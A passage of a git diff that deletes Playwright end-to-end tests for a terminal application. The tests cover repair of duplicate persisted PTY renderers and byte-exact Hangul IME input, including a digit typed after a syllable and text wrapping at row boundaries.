uniquePtyCount: number -} - -function streamingTuiSource(marker: string): string { - return ` -let frame = 0 -process.stdout.write('\\x1b[?1049h\\x1b[?25l') -setInterval(() => { - frame += 1 - const lines = [${JSON.stringify(marker)} + ' frame ' + String(frame).padStart(6, '0')] - for (let row = 1; row <= 32; row += 1) { - const width = 8 + ((frame + row * 7) % 48) - lines.push(String(row).padStart(2, '0') + ' OpenCode tool output ' + '#'.repeat(width)) - } - process.stdout.write('\\x1b[?2026h\\x1b[H' + lines.join('\\r\\n') + '\\x1b[J\\x1b[?2026l') -}, 32) -`.trim() -} - -function seedDuplicatePtyOwnership(userDataDir: string): void { - return mutateStoppedProfileState(userDataDir, (state) => { - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: This test owns the persisted fixture; optional fields are checked at use sites. - const data = state as PersistedData - const session = data.workspaceSession - const tabId = session?.activeTabId - const layout = tabId ? session?.terminalLayoutsByTabId?.[tabId] : undefined - const retainedLeafId = layout?.activeLeafId - const ptyId = retainedLeafId ? layout?.ptyIdsByLeafId?.[retainedLeafId] : undefined - if (!session?.terminalLayoutsByTabId || !tabId || !layout || !retainedLeafId || !ptyId) { - throw new Error('Persisted terminal ownership was unavailable for duplicate-layout seeding') - } - - const duplicateLeafId = randomUUID() - session.terminalLayoutsByTabId[tabId] = { - ...layout, - root: { - type: 'split', - direction: 'vertical', - first: { type: 'leaf', leafId: retainedLeafId }, - second: { type: 'leaf', leafId: duplicateLeafId } - }, - activeLeafId: retainedLeafId, - expandedLeafId: null, - ptyIdsByLeafId: { - [retainedLeafId]: ptyId, - [duplicateLeafId]: ptyId - } - } - }) -} - -async function waitForRestoredTerminal(page: Page, worktreeId: string): Promise { - await waitForSessionReady(page) - await expect.poll(() => getActiveWorktreeId(page), { timeout: 15_000 }).toBe(worktreeId) - await ensureTerminalVisible(page) - await waitForActiveTerminalManager(page, 30_000) - await waitForPaneCount(page, 1, 30_000) - const tabId = await getActiveTabId(page) - if (!tabId) { - throw new Error('Restored terminal tab was unavailable') - } - return tabId -} - -async function readRendererOwnership( - page: Page, - tabId: string -): Promise { - return page.evaluate((tabId) => { - const layout = window.__store?.getState().terminalLayoutsByTabId[tabId] - const manager = window.__paneManagers?.get(tabId) - const surface = document.querySelector( - `[data-terminal-tab-id="${CSS.escape(tabId)}"][data-terminal-layout-leaf-ids]` - ) - const countLeaves = (node: TerminalLayoutSnapshot['root']): number => - !node ? 0 : node.type === 'leaf' ? 1 : countLeaves(node.first) + countLeaves(node.second) - const ptyIds = Object.values(layout?.ptyIdsByLeafId ?? {}) - return { - paneCount: manager?.getPanes?.().length ?? 0, - xtermCount: surface?.querySelectorAll('.xterm').length ?? 0, - rootLeafCount: countLeaves(layout?.root ?? null), - ptyBindingCount: ptyIds.length, - uniquePtyCount: new Set(ptyIds).size - } - }, tabId) -} - -// Viewport-only, so it is the same projection the revealed pane is read with. -async function readMainStreamingFrame( - page: Page, - ptyId: string, - marker: string -): Promise { - const content = await page.evaluate(async (ptyId) => { - const snapshot = await window.api.pty.getMainBufferSnapshot(ptyId, { scrollbackRows: 0 }) - return snapshot?.data ?? null - }, ptyId) - return findMarkerFrame(content ?? '', marker) -} - -type RevealFrameDiagnostics = { - bufferType: ActiveScreen['bufferType'] | null - screenFrame: number | null - serializedFrame: number | null - serializedLength: number - markerOffsets: number[] - screenRows: string[] -} - -// STA-5208: distinguish live viewport markers from normal-buffer residue to diagnose stalled render versus stale restore. -async function readRevealFrameDiagnostics( - page: Page, - tabId: string, - marker: string -): Promise { - const screen = await readActiveScreen(page, tabId) - const serialized = - (await page.evaluate((tabId) => { - // Same pane resolution as readActiveScreen, so both halves describe one pane. - const manager = window.__paneManagers?.get(tabId) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] - return pane?.serializeAddon?.serialize?.() ?? null - }, tabId)) ?? '' - const prefix = `${marker} frame ` - const markerOffsets: number[] = [] - for (let at = serialized.indexOf(prefix); at >= 0; at = serialized.indexOf(prefix, at + 1)) { - markerOffsets.push(at) - } - return { - bufferType: screen?.bufferType ?? null, - screenFrame: screen ? findMarkerFrame(screen.rows.join('\n'), marker) : null, - serializedFrame: findMarkerFrame(serialized, marker), - serializedLength: serialized.length, - markerOffsets, - screenRows: screen?.rows ?? [] - } -} - -test('repairs duplicate persisted PTY renderers before streaming tab reveal', async (// oxlint-disable-next-line no-empty-pattern -- this restart test owns its Electron launches. -{}, testInfo) => { - const repoPath = existsSync(TEST_REPO_PATH_FILE) - ? readFileSync(TEST_REPO_PATH_FILE, 'utf8').trim() - : '' - test.skip(!repoPath || !existsSync(repoPath), 'Seeded E2E repository is unavailable') - - const session = createRestartSession(testInfo) - const marker = `DUPLICATE_PTY_REVEAL_${randomUUID()}` - const tui = stageNodeScriptForTerminal(streamingTuiSource(marker)) - let firstApp: ElectronApplication | null = null - let secondApp: ElectronApplication | null = null - - try { - const firstLaunch = await session.launch() - firstApp = firstLaunch.app - const worktreeId = await attachRepoAndOpenTerminal(firstLaunch.page, repoPath) - await waitForSessionReady(firstLaunch.page) - await ensureTerminalVisible(firstLaunch.page) - await waitForActiveTerminalManager(firstLaunch.page, 30_000) - const firstPtyId = await waitForActivePanePtyId(firstLaunch.page) - await execInTerminal(firstLaunch.page, firstPtyId, tui.command) - await waitForTerminalOutput(firstLaunch.page, marker, 20_000) - tui.cleanup() - - await session.close(firstApp) - firstApp = null - seedDuplicatePtyOwnership(session.userDataDir) - - const secondLaunch = await session.launch() - secondApp = secondLaunch.app - const restoredTabId = await waitForRestoredTerminal(secondLaunch.page, worktreeId) - await waitForTerminalOutput(secondLaunch.page, marker, 20_000) - const frameBeforeHide = await readMainStreamingFrame(secondLaunch.page, firstPtyId, marker) - if (frameBeforeHide === null) { - throw new Error('Authoritative TUI frame was unavailable before hiding the restored tab') - } - - const siblingTabId = await secondLaunch.page.evaluate((worktreeId) => { - const store = window.__store - if (!store) { - throw new Error('Renderer store unavailable') - } - return store.getState().createTab(worktreeId, undefined, undefined, { activate: false }).id - }, worktreeId) - await secondLaunch.page.evaluate( - (tabId) => window.__store?.getState().setActiveTab(tabId), - siblingTabId - ) - await expect - .poll(() => getActiveTabId(secondLaunch.page), { timeout: 10_000 }) - .toBe(siblingTabId) - const restoredSurface = secondLaunch.page.locator( - `[data-terminal-tab-id=${JSON.stringify(restoredTabId)}]` - ) - await expect(restoredSurface).toBeHidden() - await expect - .poll(() => readMainStreamingFrame(secondLaunch.page, firstPtyId, marker), { - timeout: 10_000, - message: 'Authoritative TUI output did not advance while the restored tab was hidden' - }) - .toBeGreaterThan(frameBeforeHide) - const hiddenFrame = await readMainStreamingFrame(secondLaunch.page, firstPtyId, marker) - if (hiddenFrame === null || hiddenFrame <= frameBeforeHide) { - throw new Error('Authoritative TUI output did not remain advanced while the tab was hidden') - } - await secondLaunch.page.evaluate( - (tabId) => window.__store?.getState().setActiveTab(tabId), - restoredTabId - ) - await expect - .poll(() => getActiveTabId(secondLaunch.page), { timeout: 10_000 }) - .toBe(restoredTabId) - // Wait for duplicate ownership repair before reading the surviving pane’s frame. - await expect - .poll(() => readRendererOwnership(secondLaunch.page, restoredTabId), { timeout: 10_000 }) - .toEqual({ - paneCount: 1, - xtermCount: 1, - rootLeafCount: 1, - ptyBindingCount: 1, - uniquePtyCount: 1 - }) - let revealFailure: unknown = null - try { - await expect - .poll(() => readRenderedAltScreenFrame(secondLaunch.page, restoredTabId, marker), { - timeout: 20_000, - message: 'Revealed renderer did not catch up to hidden authoritative output' - }) - .toBeGreaterThanOrEqual(hiddenFrame) - // The TUI enters alt once; a normal-buffer reveal would paint its output into scrollback. - const revealedScreen = await readActiveScreen(secondLaunch.page, restoredTabId) - expect( - revealedScreen?.bufferType, - 'revealed pane was missing or painting outside the alternate buffer' - ).toBe('alternate') - } catch (error) { - // Degrade dead-page diagnostics to attachment notes so they cannot replace the assertion failure. - revealFailure = error - const diagnostics = await readRevealFrameDiagnostics( - secondLaunch.page, - restoredTabId, - marker - ).catch((diagnosticsError: unknown) => ({ diagnosticsError: String(diagnosticsError) })) - await testInfo.attach('duplicate-pty-reveal-frame-diagnostics.json', { - body: JSON.stringify(diagnostics, null, 2), - contentType: 'application/json' - }) - } - // Evidence for both outcomes; a capture that fails must not become the verdict. - const screenshot = await secondLaunch.page.screenshot().catch(() => null) - if (screenshot) { - await testInfo.attach('duplicate-pty-renderer-after-reveal.png', { - body: screenshot, - contentType: 'image/png' - }) - } - if (revealFailure) { - throw revealFailure - } - - // Require persisted terminal bindings on every repaired pane or later restores become empty without another duplicate to repair. - await session.close(secondApp) - secondApp = null - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: This test owns the persisted fixture; optional fields are checked at use sites. - const persisted = readPersistedProfileState(session.userDataDir) as PersistedData - const storedLayout = persisted.workspaceSession?.terminalLayoutsByTabId?.[restoredTabId] - const storedLeafIds = (node: TerminalLayoutSnapshot['root']): string[] => - !node - ? [] - : node.type === 'leaf' - ? [node.leafId] - : [...storedLeafIds(node.first), ...storedLeafIds(node.second)] - const unboundLeafIds = storedLeafIds(storedLayout?.root ?? null).filter( - (leafId) => !storedLayout?.ptyIdsByLeafId?.[leafId] - ) - expect(unboundLeafIds).toEqual([]) - } finally { - tui.cleanup() - if (secondApp) { - await session.close(secondApp) - } - if (firstApp) { - await session.close(firstApp) - } - await session.dispose() - } -}) diff --git a/tests/e2e/terminal-hangul-terminating-digit-native.spec.ts b/tests/e2e/terminal-hangul-terminating-digit-native.spec.ts deleted file mode 100644 index 6303e595dbe..00000000000 --- a/tests/e2e/terminal-hangul-terminating-digit-native.spec.ts +++ /dev/null @@ -1,305 +0,0 @@ -/** - * Drives a real Hangul input method through a real compositor and asserts the bytes that reach - * the pty. Written to reproduce #15299, where a digit typed straight after a Hangul syllable was - * dropped under Wayland but not under X11. - * - * CI runs the default xdotool injector under X11, checking exact Hangul-plus-digit PTY bytes. - * That path passed even before the Wayland fix; it does not prove #15299 is fixed. - * Reproducing #15299 still requires the nested Wayland session below. - * - * Run the Terminal IME E2E workflow on the candidate branch for hosted native validation. - * Its runner owns the isolated Xvfb display, nested compositor and IBus session. - * - * Nested Wayland prerequisites: - * - * - Nested, not headless. A headless mutter never answers RemoteDesktop.CreateSession, so there - * is no way to inject input; nested makes the whole compositor an X window that xdotool can - * type into. ydotool does not help either - headless has no evdev seat. - * - Pick an unused display. Attaching to a stale Xvfb silently hands the run someone else's - * session, and a stale ibus-daemon wins the XIM selection over the new one. - * - The session script must not exit: ibus-daemon dies with its parent. - * - The owned window starts hidden, then the guarded native fixture presents it on hosted CI's - * isolated display so the compositor can deliver real input. - * - Send Escape before the byte reader starts, or GNOME's overview keeps focus and the Escape - * bytes corrupt the first line. - * - Check the session's ibus-daemon is not running --panel=disable before trusting anything that - * depends on seeing a candidate window. No panel means no lookup table is ever drawn, so a - * candidate-selection run measures nothing and reads as "the IME ignored the key". - * - Launch the browser with --password-store=basic --use-mock-keychain. A gnome-keyring unlock - * dialog or a Chrome update bubble grabs the keyboard, xdotool keys never reach the page, and - * the empty event log looks exactly like a broken IME. - * - Click the input to focus it. windowactivate alone does not give web contents real focus. - * - * The keys and expected text are environment-tunable, so other IME issues can reuse this - * unchanged rather than writing another one. - */ -import { execFileSync } from 'node:child_process' -import { randomUUID } from 'node:crypto' -import { mkdirSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import type { Page, TestInfo } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { presentNativeIbusWindow } from './terminal-native-ibus-window' -import { appendImeEngagementReceipt } from './terminal-ime-engagement-receipt' -import { installTerminalWaylandInputDiagnostics } from './terminal-wayland-input-diagnostics' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - focusActiveTerminalInput, - sendToTerminal, - waitForActivePanePtyId, - waitForActiveTerminalManager -} from './helpers/terminal' -import { - disposeTerminalImeBoundaryProbe, - installTerminalImeBoundaryProbe, - readTerminalImeBoundaryTrace, - type TerminalImeBoundaryTrace -} from './terminal-ime-boundary-probe' -import { readImeDomDeliveredText } from './terminal-ime-dom-delivery' -import { - createTerminalImeByteReader, - removeTerminalImeByteReader, - startTerminalImeByteReader, - waitForTerminalImeBytes -} from './terminal-ime-byte-reader' - -const NATIVE_COMMAND_TIMEOUT_MS = 10_000 -const REPETITIONS = Number(process.env.ORCA_E2E_DIGIT_REPETITIONS ?? 3) -// Why: nested mutter + IBus occasionally discards a preedit or a keydown before Chromium sees it; -// those attempts are retried, bounded so a broken IME session still fails. -const MAX_ATTEMPTS = REPETITIONS * 2 -const INJECTOR = process.env.ORCA_E2E_IME_INJECTOR ?? 'xdotool' -const WAYLAND_INJECT = process.env.ORCA_E2E_WAYLAND_INJECT ?? '/tmp/ime15299/wayland-inject.py' -// The nested compositor is one X11 window; keys land on it and mutter routes -// them to the focused Wayland client through the IME. -const NESTED_FOCUS_CMD = process.env.ORCA_E2E_NESTED_FOCUS_CMD ?? '/tmp/ime15299/focus-nested.sh' -// Dubeolsik: d=ㅇ, k=ㅏ, so `d k` composes 아 and the digit terminates it. -const KEY_TOKENS = (process.env.ORCA_E2E_DIGIT_KEYS ?? 'd k 1 Return').split(' ').filter(Boolean) -const EXPECTED_LINE = process.env.ORCA_E2E_DIGIT_EXPECTED ?? '아1' - -test.use({ - orcaAppExtraEnv: { - GTK_IM_MODULE: 'ibus', - IBUS_ENABLE_SYNC_MODE: '1', - QT_IM_MODULE: 'ibus', - XMODIFIERS: '@im=ibus', - ...(process.env.ORCA_E2E_WAYLAND_INPUT_DIAGNOSTICS === '1' ? { WAYLAND_DEBUG: 'client' } : {}), - ...(process.env.ORCA_E2E_EXTRA_APP_ENV - ? (JSON.parse(process.env.ORCA_E2E_EXTRA_APP_ENV) as Record) - : {}) - }, - orcaAppExtraArgs: (process.env.ORCA_E2E_EXTRA_APP_ARGS ?? '').split(' ').filter(Boolean) -}) - -function injectKeys(tokens: string[]): void { - if (INJECTOR === 'wayland') { - execFileSync('python3', [WAYLAND_INJECT, ...tokens], { - stdio: 'pipe', - timeout: NATIVE_COMMAND_TIMEOUT_MS - }) - return - } - for (const token of tokens) { - execFileSync('xdotool', ['key', '--clearmodifiers', token], { - stdio: 'pipe', - timeout: NATIVE_COMMAND_TIMEOUT_MS - }) - } -} - -/** GNOME Shell parks keyboard focus in the overview until a window is up, so - * Escape has to run before the byte reader starts or those Escapes land in it. */ -function leaveNestedOverview(): void { - execFileSync(NESTED_FOCUS_CMD, [], { stdio: 'pipe', timeout: NATIVE_COMMAND_TIMEOUT_MS }) - for (let index = 0; index < 2; index += 1) { - execFileSync('xdotool', ['key', 'Escape'], { - stdio: 'pipe', - timeout: NATIVE_COMMAND_TIMEOUT_MS - }) - } -} - -function captureNestedScreen(name: string): void { - const dir = path.join(process.cwd(), 'test-results', 'terminal-ime-evidence') - mkdirSync(dir, { recursive: true }) - execFileSync('import', ['-window', 'root', path.join(dir, `${name}.png`)], { - stdio: 'pipe', - timeout: NATIVE_COMMAND_TIMEOUT_MS - }) -} - -async function focusNativeTerminalWindow(page: Page): Promise { - await focusActiveTerminalInput(page) - const title = `ORCA_NATIVE_IBUS_${randomUUID()}` - await page.evaluate((nextTitle) => { - document.title = nextTitle - }, title) - await expect.poll(() => page.title(), { timeout: 5_000 }).toBe(title) - if (INJECTOR === 'nested') { - execFileSync(NESTED_FOCUS_CMD, [], { - stdio: 'pipe', - timeout: NATIVE_COMMAND_TIMEOUT_MS - }) - } else if (INJECTOR !== 'wayland') { - execFileSync('xdotool', ['search', '--onlyvisible', '--name', title, 'windowfocus', '--sync'], { - stdio: 'pipe', - timeout: NATIVE_COMMAND_TIMEOUT_MS - }) - } - execFileSync('ibus', ['engine', 'hangul'], { - stdio: 'pipe', - timeout: NATIVE_COMMAND_TIMEOUT_MS - }) - const engine = execFileSync('ibus', ['engine'], { - encoding: 'utf8', - timeout: NATIVE_COMMAND_TIMEOUT_MS - }).trim() - expect(engine).toBe('hangul') -} - -async function writeEvidence( - page: Page, - testInfo: TestInfo, - name: string, - extra: Record -): Promise { - const trace = await readTerminalImeBoundaryTrace(page) - const payload = { ...extra, injector: INJECTOR, keyTokens: KEY_TOKENS, trace } - const body = `${JSON.stringify(payload, null, 2)}\n` - await testInfo.attach(`${name}.json`, { body, contentType: 'application/json' }) - const dir = path.join(process.cwd(), 'test-results', 'terminal-ime-evidence') - mkdirSync(dir, { recursive: true }) - writeFileSync(path.join(dir, `${name}.json`), body) -} - -test.describe('Hangul terminating digit @headful', () => { - test.skip(process.env.ORCA_E2E_NATIVE_IBUS_HANGUL !== '1', 'native ibus harness only') - - test('a digit typed right after a Hangul syllable reaches the pty', async ({ - electronApp, - orcaPage: page, - testRepoPath - }, testInfo) => { - const diagnostics = - process.env.ORCA_E2E_WAYLAND_INPUT_DIAGNOSTICS === '1' - ? await installTerminalWaylandInputDiagnostics(electronApp, page) - : null - let completed = false - let diagnosticError: unknown - try { - const launchDiagnostics = await electronApp.evaluate(({ app: electron, BrowserWindow }) => ({ - waylandDisplay: process.env.WAYLAND_DISPLAY ?? null, - display: process.env.DISPLAY ?? null, - xdgRuntimeDir: process.env.XDG_RUNTIME_DIR ?? null, - ozonePlatform: electron.commandLine.getSwitchValue('ozone-platform'), - disableGpu: electron.commandLine.hasSwitch('disable-gpu'), - background: process.env.ORCA_BACKGROUND_LAUNCH, - nativeIsolatedDisplay: process.env.ORCA_E2E_NATIVE_IBUS_XVFB, - windows: BrowserWindow.getAllWindows().map((window) => ({ - visible: window.isVisible(), - minimized: window.isMinimized(), - bounds: window.getBounds() - })) - })) - console.log(`[digit-diag] ${JSON.stringify(launchDiagnostics)}`) - await presentNativeIbusWindow(electronApp, page) - if (INJECTOR === 'nested') { - expect(launchDiagnostics.ozonePlatform).toBe('wayland') - expect(launchDiagnostics.waylandDisplay).toBeTruthy() - await page.waitForTimeout(2_000) - } - await waitForSessionReady(page) - await waitForActiveWorktree(page) - await ensureTerminalVisible(page) - await waitForActiveTerminalManager(page, 30_000) - - const ptyId = await waitForActivePanePtyId(page) - const reader = createTerminalImeByteReader(testRepoPath, MAX_ATTEMPTS) - let receivedBytes: string[] = [] - const attempts: { - line: string | null - domDelivered: string - trace: TerminalImeBoundaryTrace - }[] = [] - const expectedHex = Buffer.from(`${EXPECTED_LINE}\n`).toString('hex') - try { - if (INJECTOR === 'nested') { - leaveNestedOverview() - await page.waitForTimeout(1_500) - captureNestedScreen('nested-before-reader') - } - await startTerminalImeByteReader(page, ptyId, reader) - await diagnostics?.attachTerminal() - await focusNativeTerminalWindow(page) - if (INJECTOR === 'nested') { - captureNestedScreen('nested-before-typing') - } - const expectedLine = `${EXPECTED_LINE}\n` - let accepted = 0 - let trace: TerminalImeBoundaryTrace = { dom: [], onData: [] } - for (let attempt = 0; attempt < MAX_ATTEMPTS && accepted < REPETITIONS; attempt += 1) { - await installTerminalImeBoundaryProbe(page) - injectKeys(KEY_TOKENS) - const lineIndex = receivedBytes.length - receivedBytes = await waitForTerminalImeBytes(page, reader, 10_000, lineIndex + 1).catch( - () => receivedBytes - ) - const attemptTrace = await readTerminalImeBoundaryTrace(page) - const domDelivered = readImeDomDeliveredText(attemptTrace) - const lineHex = receivedBytes[lineIndex] - const line = lineHex === undefined ? null : Buffer.from(lineHex, 'hex').toString('utf8') - attempts.push({ line, domDelivered, trace: attemptTrace }) - if (line === expectedLine) { - accepted += 1 - trace = attemptTrace - continue - } - // Why: whenever the page received every key the pty line must match; only input the - // IME/compositor itself never delivered (a discarded preedit, a lost keydown) is retried. - expect( - domDelivered, - `Orca lost input the page received: ${JSON.stringify(line)}` - ).not.toBe(expectedLine) - if (line === null) { - // Why: Ctrl-U drops the partial line a lost Enter leaves in the reader's tty buffer. - await sendToTerminal(page, ptyId, '\x15') - } - } - if (INJECTOR === 'nested') { - captureNestedScreen('nested-after-typing') - } - const summary = attempts.map(({ line, domDelivered }) => ({ line, domDelivered })) - expect(accepted, `attempts: ${JSON.stringify(summary)}`).toBe(REPETITIONS) - appendImeEngagementReceipt(testInfo.title, trace) - completed = true - } finally { - await writeEvidence(page, testInfo, 'hangul-terminating-digit', { - expectedHex, - expectedLine: EXPECTED_LINE, - receivedBytes, - decoded: receivedBytes.map((hex) => Buffer.from(hex, 'hex').toString('utf8')), - attempts - }).catch(() => undefined) - await disposeTerminalImeBoundaryProbe(page).catch(() => undefined) - await sendToTerminal(page, ptyId, '\x03').catch(() => undefined) - removeTerminalImeByteReader(reader) - } - } finally { - if (diagnostics) { - try { - await diagnostics.write(testInfo) - } catch (error) { - diagnosticError = error - console.error('Could not retain passive Wayland diagnostics', error) - } finally { - await diagnostics - .dispose() - .catch((error) => console.error('Could not dispose passive Wayland diagnostics', error)) - } - } - } - if (completed && diagnosticError) { - throw diagnosticError - } - }) -}) diff --git a/tests/e2e/terminal-hangul-wrap-boundary-bytes.spec.ts b/tests/e2e/terminal-hangul-wrap-boundary-bytes.spec.ts deleted file mode 100644 index b57215306ac..00000000000 --- a/tests/e2e/terminal-hangul-wrap-boundary-bytes.spec.ts +++ /dev/null @@ -1,265 +0,0 @@ -// Assert byte-exact Hangul input across row wraps; short CJK runs never reach the wide-glyph boundary. -// #15066’s extra LF/spaces were shell output from prompt escapes missing readline’s \[ \] wrappers; a plain prompt rendered cleanly. -// The Node reader records PTY input, separating renderer-manufactured bytes from shell echo/output. -import type { CDPSession, Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - splitActiveTerminalPane, - waitForActiveTerminalManager, - waitForPaneCount -} from './helpers/terminal' -import { closeTerminalImePaneArena, openTerminalImePaneArena } from './terminal-ime-pane-arena' -import { - commitImeText, - composeHangulSyllable, - dispatchImeProcessKey, - dispatchImeRewrittenPrintableKey, - dispatchPlainEnter, - setImeComposition, - type ImeKeyIdentity -} from './terminal-ime-cdp-composition' -import { - createTerminalImeByteReader, - removeTerminalImeByteReader, - startTerminalImeByteReader, - waitForTerminalImeBytes -} from './terminal-ime-byte-reader' -import { - applyImePlatformPolicy, - expectImePlatformPolicy, - type ImePlatformPolicy -} from './terminal-ime-platform-policy' - -type JamoKey = { jamo: string; code: string; index: number } - -/** 2-Set Korean: the physical key each jamo sits on, plus its index in the Hangul syllable formula. */ -const CHOSEONG: readonly JamoKey[] = [ - { jamo: 'ㄱ', code: 'KeyR', index: 0 }, - { jamo: 'ㄴ', code: 'KeyS', index: 2 }, - { jamo: 'ㄷ', code: 'KeyE', index: 3 }, - { jamo: 'ㄹ', code: 'KeyF', index: 5 }, - { jamo: 'ㅁ', code: 'KeyA', index: 6 }, - { jamo: 'ㅂ', code: 'KeyQ', index: 7 }, - { jamo: 'ㅅ', code: 'KeyT', index: 9 }, - { jamo: 'ㅇ', code: 'KeyD', index: 11 } -] - -const JUNGSEONG: readonly JamoKey[] = [ - { jamo: 'ㅏ', code: 'KeyK', index: 0 }, - { jamo: 'ㅓ', code: 'KeyJ', index: 4 }, - { jamo: 'ㅗ', code: 'KeyH', index: 8 }, - { jamo: 'ㅜ', code: 'KeyN', index: 13 } -] - -/** IME preedit keystrokes carry no text payload, so every jamo key is a VK_PROCESSKEY. */ -function jamoIdentity(key: JamoKey): ImeKeyIdentity { - return { key: key.jamo, code: key.code, keyCode: 229 } -} - -/** A plain printable keydown, used to push the run one cell out of phase with the row. */ -const OFFSET_KEY: ImeKeyIdentity = { key: 'x', code: 'KeyX', keyCode: 88 } - -type HangulSyllable = { - text: string - frames: readonly { jamoKey: ImeKeyIdentity; preedit: string }[] -} - -/** Every syllable is two keystrokes: consonant, then vowel, which assembles the precomposed glyph. */ -function buildHangulRun(length: number): HangulSyllable[] { - return Array.from({ length }, (_unused, position) => { - const choseong = CHOSEONG[position % CHOSEONG.length] - const jungseong = JUNGSEONG[Math.floor(position / CHOSEONG.length) % JUNGSEONG.length] - const text = String.fromCharCode(0xac00 + (choseong.index * 21 + jungseong.index) * 28) - return { - text, - frames: [ - { jamoKey: jamoIdentity(choseong), preedit: choseong.jamo }, - { jamoKey: jamoIdentity(jungseong), preedit: text } - ] - } - }) -} - -type PaneGrid = { cols: number; cursorRow: number } - -async function readPaneGrid(page: Page, ptyId: string): Promise { - return page.evaluate((targetPtyId) => { - for (const manager of window.__paneManagers?.values?.() ?? []) { - const pane = manager - .getPanes?.() - .find((candidate) => candidate.container.dataset.ptyId === targetPtyId) - if (pane) { - const buffer = pane.terminal.buffer.active - return { cols: pane.terminal.cols, cursorRow: buffer.baseY + buffer.cursorY } - } - } - return { cols: 0, cursorRow: 0 } - }, ptyId) -} - -// Split to narrow the container: direct terminal.resize is overwritten by the next fit pass. -async function narrowPaneBySplitting(page: Page, splits: number): Promise { - await waitForSessionReady(page) - await waitForActiveWorktree(page) - await ensureTerminalVisible(page) - await waitForActiveTerminalManager(page, 30_000) - for (let split = 0; split < splits; split += 1) { - await splitActiveTerminalPane(page, 'vertical') - await waitForPaneCount(page, split + 2) - } -} - -async function waitForSettledCols(page: Page, ptyId: string): Promise { - let settled = 0 - await expect - .poll( - async () => { - const observed = (await readPaneGrid(page, ptyId)).cols - const stable = observed === settled && observed > 0 - settled = observed - return stable - }, - { timeout: 10_000, message: 'terminal width never settled' } - ) - .toBe(true) - return settled -} - -/** `pauseMs` is the gap between keystrokes; each syllable commits before the next one starts. */ -async function typeHangulRun( - session: CDPSession, - page: Page, - run: readonly HangulSyllable[], - pauseMs: number -): Promise { - for (const syllable of run) { - await composeHangulSyllable(session, page, syllable.frames, pauseMs) - await commitImeText(session, syllable.text) - } -} - -/** One composition session whose preedit grows one syllable at a time, then commits whole. */ -async function composeThenCommitPhrase( - session: CDPSession, - page: Page, - run: readonly HangulSyllable[], - pauseMs: number -): Promise { - let preedit = '' - for (const syllable of run) { - preedit += syllable.text - await dispatchImeProcessKey(session, syllable.frames[0].jamoKey) - await setImeComposition(session, preedit) - if (pauseMs > 0) { - await page.waitForTimeout(pauseMs) - } - } - await commitImeText(session, preedit) -} - -const KEYSTROKE_PAUSE_MS = 16 - -// Compare decoded text for readable inserted LF/space diffs and hex for byte exactness. -function expectExactPtyInput(received: readonly string[], expectedText: string): void { - const decoded = received.map((hex) => Buffer.from(hex, 'hex').toString('utf8')) - expect(decoded).toEqual([`${expectedText}\n`]) - expect(received).toEqual([Buffer.from(`${expectedText}\n`).toString('hex')]) -} - -type WrapScenario = { - name: string - /** Shifts the run one cell out of phase, so the boundary falls mid-syllable at even widths. */ - offsetByOneCell: boolean - /** Derived from the width the pane actually has, never from an assumed 80. */ - syllableCount: (observedCols: number) => number - drive: (session: CDPSession, page: Page, run: readonly HangulSyllable[]) => Promise - policies: readonly ImePlatformPolicy[] -} - -const SCENARIOS: readonly WrapScenario[] = [ - { - name: '42 syllables', - offsetByOneCell: false, - syllableCount: () => 42, - drive: (session, page, run) => typeHangulRun(session, page, run, KEYSTROKE_PAUSE_MS), - policies: ['mac', 'windows', 'linux'] - }, - { - // Shift one cell to cover both clean wraps and a wide glyph that cannot fit the final cell, regardless of pane-width parity. - name: '42 syllables offset by one cell', - offsetByOneCell: true, - syllableCount: () => 42, - drive: (session, page, run) => typeHangulRun(session, page, run, KEYSTROKE_PAUSE_MS), - policies: ['mac'] - }, - { - // Leave deferred wrap pending when Enter arrives. - name: 'a run that ends on the wrap boundary', - offsetByOneCell: false, - syllableCount: (observedCols) => Math.floor(observedCols / 2) * 2, - drive: (session, page, run) => typeHangulRun(session, page, run, KEYSTROKE_PAUSE_MS), - policies: ['mac'] - }, - { - // Grow one preedit past the boundary before committing. - name: 'a composition that straddles the wrap boundary', - offsetByOneCell: false, - syllableCount: (observedCols) => Math.floor(observedCols / 2) + 8, - drive: (session, page, run) => composeThenCommitPhrase(session, page, run, KEYSTROKE_PAUSE_MS), - policies: ['mac'] - } -] - -test.describe('Terminal Hangul wrap-boundary byte exactness', () => { - for (const scenario of SCENARIOS) { - for (const policy of scenario.policies) { - test(`sends ${scenario.name} unaltered to the pty (${policy})`, async ({ - orcaPage, - testRepoPath - }, testInfo) => { - await applyImePlatformPolicy(orcaPage, policy) - await expectImePlatformPolicy(orcaPage, policy) - await narrowPaneBySplitting(orcaPage, 2) - - const arena = await openTerminalImePaneArena(orcaPage) - const reader = createTerminalImeByteReader(testRepoPath, 1) - let completed = false - try { - await startTerminalImeByteReader(orcaPage, arena.ptyId, reader) - - const observedCols = await waitForSettledCols(orcaPage, arena.ptyId) - const run = buildHangulRun(scenario.syllableCount(observedCols)) - const prefix = scenario.offsetByOneCell ? OFFSET_KEY.key : '' - const expectedText = prefix + run.map((syllable) => syllable.text).join('') - testInfo.annotations.push({ - type: 'wrap-regime', - description: `${observedCols} cols, ${run.length} syllables, offset ${prefix.length}` - }) - - const startRow = (await readPaneGrid(orcaPage, arena.ptyId)).cursorRow - if (scenario.offsetByOneCell) { - await dispatchImeRewrittenPrintableKey(arena.session, OFFSET_KEY) - } - await scenario.drive(arena.session, orcaPage, run) - // Require cursor movement to a later row so a run that never wraps cannot pass. - await expect - .poll(async () => (await readPaneGrid(orcaPage, arena.ptyId)).cursorRow, { - timeout: 10_000, - message: `run of ${run.length} syllables never wrapped at ${observedCols} cols` - }) - .toBeGreaterThan(startRow) - - await dispatchPlainEnter(arena.session) - - const received = await waitForTerminalImeBytes(orcaPage, reader, 20_000) - expectExactPtyInput(received, expectedText) - completed = true - } finally { - await closeTerminalImePaneArena(arena, testInfo, 'hangul-wrap-boundary-bytes', !completed) - removeTerminalImeByteReader(reader) - } - }) - } - } -}) diff --git a/tests/e2e/terminal-hidden-child-tui-kill-mode-reset.spec.ts 